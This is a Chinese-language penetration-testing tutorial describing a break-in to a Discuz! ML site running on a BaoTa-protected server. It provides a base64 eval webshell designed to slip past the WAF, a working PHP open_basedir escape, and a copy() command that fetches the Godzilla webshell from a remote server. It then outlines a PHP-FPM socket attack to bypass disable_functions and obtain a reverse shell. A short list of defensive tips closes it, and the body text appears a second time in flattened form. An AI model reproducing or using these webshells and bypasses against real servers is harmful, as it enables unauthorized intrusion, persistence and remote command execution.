一次利用哥斯拉马绕过宝塔waf及disable_functions的渗透测试
字数 1493 2025-08-29 08:31:41

利用哥斯拉马绕过宝塔WAF及disable_functions的渗透测试教学

1. 环境概述

本次渗透测试的目标环境:

  • 主站:Discuz! ML 3.4搭建的违法招嫖网站
  • 防护:配置有宝塔WAF
  • 关联系统:同服务器上运行某某发卡网(用于充值)
  • 服务器环境:Nginx + PHP 5.6
  • 安全限制:宝塔默认设置了open_basedir和disable_functions

2. 初始渗透

2.1 漏洞利用尝试

  • 首先尝试利用Discuz! ML 3.X的已知漏洞进行攻击,但未成功
  • 发现主站外链的发卡网与主站共享同一IP,可作为突破口

2.2 WebShell写入

由于存在宝塔WAF,直接写入WebShell需要变形处理:

<?php @eval(base64_decode($_POST['yanshu']));?>
  • 使用base64编码绕过WAF检测
  • 通过POST参数'yanshu'传递base64编码的命令

3. 绕过open_basedir限制

3.1 利用ini_set()函数

通过以下代码片段可以绕过open_basedir限制:

eval("
    mkdir('1');
    chdir('1');
    ini_set('open_basedir','..');
    chdir('..');chdir('..');chdir('..');
    chdir('..');chdir('..');chdir('..');
    ini_set('open_basedir','/');
    var_dump(scandir('/www/wwwroot'));
");

3.2 操作步骤

  1. 创建一个临时目录('1')
  2. 进入该目录
  3. 使用ini_set()修改open_basedir为上级目录('..')
  4. 多次返回上级目录
  5. 最后将open_basedir设置为根目录('/')
  6. 使用scandir()函数列出目录内容

4. 使用哥斯拉WebShell管理

4.1 哥斯拉马优势

  • 自动实现open_basedir绕过
  • 加密通信流量,避免被WAF拦截
  • 提供丰富的后续渗透功能

4.2 部署方法

使用copy命令将哥斯拉马从远程服务器复制到目标服务器:

copy('http://xxxx/g.php','/www/wwwroot/xxx.com/g.php');
  • 加密器选择:PHP_EVAL_XOR_BASE64
  • 路径根据实际环境调整

5. 绕过disable_functions限制

5.1 环境限制分析

目标环境禁用了以下关键函数:

  • putenv()
  • mail()
  • pcntl_exec()
  • 其他常规bypass方法受限(PHP 5.6环境)

5.2 攻击PHP-FPM方法

5.2.1 定位PHP-FPM配置

  1. 查找php-fpm.conf配置文件路径:

    • /www/server/php/56/etc/php-fpm.conf
    • 或通过nginx配置查找
  2. 获取PHP-FPM的socket位置:

    • 通常为:unix:/tmp/php-cgi-56.sock

5.2.2 攻击步骤

  1. 使用哥斯拉马的"PAttackFPM"模块
  2. 加载并执行攻击模块
  3. 在哥斯拉马的bypass disable_functions模块中执行命令

5.3 获取反弹Shell

成功绕过限制后,可以:

  1. 执行系统命令
  2. 获取反弹Shell
  3. 进行后续提权操作

6. 参考资源

PHP-FPM攻击原理参考:
https://blog.csdn.net/qq_38154820/article/details/106330106

7. 关键点总结

  1. WAF绕过:使用base64编码变形WebShell代码
  2. 目录限制绕过:利用ini_set()和目录跳转技巧
  3. 工具选择:哥斯拉马的PHP_EVAL_XOR_BASE64加密器
  4. 函数限制绕过:攻击PHP-FPM服务
  5. 信息收集:通过nginx和php-fpm配置获取关键路径
  6. 持久化:通过写入WebShell维持访问

8. 防御建议

  1. 定期更新系统和应用补丁
  2. 限制ini_set()等危险函数的使用
  3. 监控/tmp目录下的异常socket文件
  4. 对PHP-FPM服务进行适当加固
  5. 实施更严格的WAF规则,检测base64变形攻击
  6. 定期检查服务器上的异常文件
利用哥斯拉马绕过宝塔WAF及disable_ functions的渗透测试教学 1. 环境概述 本次渗透测试的目标环境: 主站:Discuz ! ML 3.4搭建的违法招嫖网站 防护:配置有宝塔WAF 关联系统:同服务器上运行某某发卡网(用于充值) 服务器环境:Nginx + PHP 5.6 安全限制:宝塔默认设置了open_ basedir和disable_ functions 2. 初始渗透 2.1 漏洞利用尝试 首先尝试利用Discuz ! ML 3.X的已知漏洞进行攻击,但未成功 发现主站外链的发卡网与主站共享同一IP,可作为突破口 2.2 WebShell写入 由于存在宝塔WAF,直接写入WebShell需要变形处理: 使用base64编码绕过WAF检测 通过POST参数'yanshu'传递base64编码的命令 3. 绕过open_ basedir限制 3.1 利用ini_ set()函数 通过以下代码片段可以绕过open_ basedir限制: 3.2 操作步骤 创建一个临时目录('1') 进入该目录 使用ini_ set()修改open_ basedir为上级目录('..') 多次返回上级目录 最后将open_ basedir设置为根目录('/') 使用scandir()函数列出目录内容 4. 使用哥斯拉WebShell管理 4.1 哥斯拉马优势 自动实现open_ basedir绕过 加密通信流量,避免被WAF拦截 提供丰富的后续渗透功能 4.2 部署方法 使用copy命令将哥斯拉马从远程服务器复制到目标服务器: 加密器选择:PHP_ EVAL_ XOR_ BASE64 路径根据实际环境调整 5. 绕过disable_ functions限制 5.1 环境限制分析 目标环境禁用了以下关键函数: putenv() mail() pcntl_ exec() 其他常规bypass方法受限(PHP 5.6环境) 5.2 攻击PHP-FPM方法 5.2.1 定位PHP-FPM配置 查找php-fpm.conf配置文件路径: /www/server/php/56/etc/php-fpm.conf 或通过nginx配置查找 获取PHP-FPM的socket位置: 通常为: unix:/tmp/php-cgi-56.sock 5.2.2 攻击步骤 使用哥斯拉马的"PAttackFPM"模块 加载并执行攻击模块 在哥斯拉马的bypass disable_ functions模块中执行命令 5.3 获取反弹Shell 成功绕过限制后,可以: 执行系统命令 获取反弹Shell 进行后续提权操作 6. 参考资源 PHP-FPM攻击原理参考: https://blog.csdn.net/qq_ 38154820/article/details/106330106 7. 关键点总结 WAF绕过 :使用base64编码变形WebShell代码 目录限制绕过 :利用ini_ set()和目录跳转技巧 工具选择 :哥斯拉马的PHP_ EVAL_ XOR_ BASE64加密器 函数限制绕过 :攻击PHP-FPM服务 信息收集 :通过nginx和php-fpm配置获取关键路径 持久化 :通过写入WebShell维持访问 8. 防御建议 定期更新系统和应用补丁 限制ini_ set()等危险函数的使用 监控/tmp目录下的异常socket文件 对PHP-FPM服务进行适当加固 实施更严格的WAF规则,检测base64变形攻击 定期检查服务器上的异常文件